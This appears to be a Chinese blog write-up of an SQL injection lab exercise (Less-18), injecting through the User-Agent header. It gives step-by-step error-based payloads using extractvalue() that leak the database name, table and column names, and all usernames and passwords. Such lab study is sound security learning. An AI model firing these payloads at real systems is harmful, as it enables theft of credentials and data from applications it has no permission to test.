Less18

Less18

头部注入:Uagent Filed-error based

用户代理了解

步骤1.
(1)查看源码发现对账号和密码很难处理

(2)审计代码,发现可以对用户代理进行操作,可插入'$uagent', '$IP', $uname.
img

(3)使用Burp suite抓包获取到信息
img

(4)快捷键Ctrl+R将信息传到Repeater处理,对User-Agent进行操作

(5)判断下注入类型,用了"'"测试错误,是单引号注入
img
img

(6)然后可以用报错注入进行处理,一步一步获取需要信息
前后闭合引号

获取数据库名:1' and extractvalue(1,concat(0x7e,database())) and '1

获取表名:1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'))) and '1

获取users表的字段名:1' and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name = 'users'),1,32))) and '1   -- updatexml()返回的字符串长度最多为31个字符.所有字段名过长,需要用到substr来列出

获取users表中所有的username和password: 1' and extractvalue(1,concat(0x7e,substr((select group_concat(0x5c,username,0x26,password) from users),1,32))) and '1   --自己不断拓展后面的长度就可以全部获取了
posted @ 2023-01-02 12:27  ntrack  阅读(19)  评论(0)    收藏  举报